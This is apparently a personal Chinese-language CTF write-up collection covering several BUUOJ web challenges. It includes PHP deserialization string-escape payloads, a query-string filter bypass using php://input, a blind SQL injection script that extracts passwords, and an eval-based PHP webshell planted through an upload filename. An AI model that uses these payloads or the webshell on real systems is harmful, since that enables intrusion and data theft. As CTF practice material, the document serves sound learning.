[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
去phpinfo里去搜.php发现 d0g3_f1ag.php
再利用file_get_contents去读取!

感觉自己笨死了!
感觉它是反序列化字符逃逸把!
但是自己的脑子老是转晕了😶😶😶😶
当时就像想着img不能控制!忘了还有f参数!
又去看了看他的代码!!!c
$_POST这个数组可以自己构造!!!
<?php
$_POST['a']=111;
extract($_POST);
echo $a;
|

先看他正常的序列化结果!
string(100) "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
|
变量覆盖
现在我们可以把序列化的内容通过POST传参变量覆盖下:

反序列化字符逃逸
{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
string(65) "a:2:{s:4:"user";s:3:"tao";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
现在必须让img是d0g3_f1ag.php s:3:"img";s:13:"d0g3_f1ag.php";
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 38位
";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 40
flag
{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
{s:4:"user";s:5:"guest";s:8:"function";s:10:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
guest";s:8:"function";s:10:"把这部分吃掉 23
guest";s:8:"function";s:10:"" 24
flagflagflagflagflagflag 24
{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:10:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
过滤后: {s:4:"user";s:24:"";s:8:"function";s:10:"" ;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 41
{s:4:"user";s:24:"";s:8:"function";s:41:""";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";" ;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
但是因为里面是3个变量!所以再加上一个! ;s:2:"dd";s:1:"a";}
"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:17:"upload_fist_Blood";}
80位
{s:4:"user";s:24:"";s:8:"function";s:80:""";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:17:"upload_fist_Blood";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
_SESSION["user"]=flagflagflagflagflagflag
_SESSION['function']="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:17:"upload_fist_Blood";}
|

靠坑呀:
_SESSION["user"]=flagflagflagflagflagflag&_SESSION['function']="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:18:"upload_first_Blood";}
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:18:"upload_first_Blood";}
|
带个双引号不行了!!!🙄
/d0g3_fllllllag
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]="";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:6:"upload";s:18:"upload_first_Blood";}
|
方法二

{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
"a:2:{s:6:"UPLOAD";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 40
string(69) "a:2:{s:6:"UPLOAD";s:5:"11111";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
a:2:{s:8:"flagflag";s:40:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 41
";s:6:"upload";s:18:"upload_first_Blood";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
80
a:2:{s:8:"flagflag";s:40:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
a:2:{s:8:"flagflag";s:80:"";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
{s:8:"";s:80:"";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
_SESSION[flagaflag]=";s:6:"upload";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
"a:2:{s:9:"a";s:54:"";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
_SESSION[flagaflag]=";s:6:"upload";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
|
[MRCTF2020]套娃
<!--
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->
|
[PHP获取当前url路径的函数及服务器变量:$_SERVER[“QUERY_STRING”],$_SERVER[“REQUEST_URI”],$_SERVER[“SCRIPT_NAME”],$_SERVER[“PHP_SELF”]]
https://www.cnblogs.com/qiantuwuliang/archive/2010/02/28/1675279.html
$_SERVER[“QUERY_STRING“]
说明:查询(query)的字符串
当输入:
view-source:http://88e20c01-fb88-4355-99c0-67b2e2152f44.node3.buuoj.cn/?b_u_p_t=23333a
|
$_SERVER[“QUERY_STRING“]=b_u_p_t=23333a
就会直接die!;
折磨绕过呢:
substr_count()函数计算子串在字符串中出现的次数 PS:子串区分大小写
不区分大小写!;
直接%5F
再
正则换行绕过

HTML URL 编码参考手册
https://www.w3cschool.cn/htmltags/html-urlencode.html
error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php';
if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); }
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); }
|
为协议
知道了flag在flag.php里
考了http的head内容!php为协议!
2333=php://input post:todat is a happy day
|
exp
把他的脚本倒过来写
<?php
$v="flag.php";
$re="";
for($i=0;$i<strlen($v);$i++){ echo ord($v[$i])."\n"; echo ord($v[$i])-$i*2; echo "\n"; $re .= chr ( ord ($v[$i]) - $i*2 ); } echo base64_encode($re);
|
payload
?2333=php://input&file=ZmpdYSZmXGI= post:todat is a happy day
|
[BSidesCF 2019]Kookie

题目暗示的很明显了!要用cookie登录

[CISCN2019 总决赛 Day2 Web1]Easyweb

一开始以为:
<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>
|
是不是任意文件读取!!!想多了!!!
czlt-01.freexyz.cf
20010
文件备份泄露

首先通过robots.txt发现存在.bak备份文件,尝试后获取到image.php.bak文件,代码如下:
打开得到源码:
<?php include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id); $path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
|
看着是sql注入!
但是
前面还有sql代码审计!
addslashes把特殊字符都转义!

相当于过滤了:
\0 %00 \ ‘ ‘ 等4个字符!

测试:



俩反斜杠页面影响!

SQL注入
payload
or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0) 爆破不了字段!还是直接猜吧!很明显!username|password or id=if(ascii(substr((select username from users),{0},1))>1,1,0)%23 or id=if(ascii(substr((select username from users),%d,1))>%d,1,0) or if(ascii(substr((select username from users),%d,1))>%d,1,0) or if(ascii(substr((select username from users),%d,1))>%d,1,0) or if(ascii(substr((select password from users),%d,1))>%d,1,0)
|
exp
import requests import time
url = "http://688f6dab-67b4-4765-a0c7-850e75c4dfd6.node3.buuoj.cn/image.php" result = ':'
for i in range(0, 30): right = 127 left = 32 mid = int((right + left) >> 1) while right > left: payload=" or if(ascii(substr((select password from users),%d,1))>%d,1,0)#"% (i, mid) params = { 'id': '\\0', 'path': payload } response = requests.get(url, params=params) if "JFIF" in response.text: left = mid + 1 else: right = mid mid = int((right + left) >> 1)
if response.status_code == 429: print("fast") time.sleep(2)
last = result result += chr(left) print(result) dc1343c35f369a57a74f
|
有点问题🙄
爆数据库的时候他第一个是个空!所以直接if left!=32: 就退出了!!!直接输出算了!
文件上传

我看网上说在PHP的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的段标签:( ?>)。
同时,只有开启这个才可以使用 <?= 以代替 <? echo 。在CodeIgniter的视频教程中就是用的这种方式。
但是这个短标签是不推荐的,使用才是规范的方法。只是因为这种短标签使用的时间比较长,这种特性才被保存了下来。
我试了试发现就算不开short_open_tag!也能<?= 以代替 <? echo
所以我感觉!段标签只是?>代替了
但是<?= 啥事都能用!
短标签 ?>需要php.ini开启short_open_tag = On,但= ?>不受该条控制。

看这个题
上传php不让!绕过不了!
随便上传发现!他把文件名写到了日志文件里了!
日志文件还是个php文件!
那把文件名换成木马就可以了!
<?=@eval($_POST[upload]);?>
logs/upload.bd02d3534d7e827518e88ade9ae77306.log.php
|
为啥上传不了!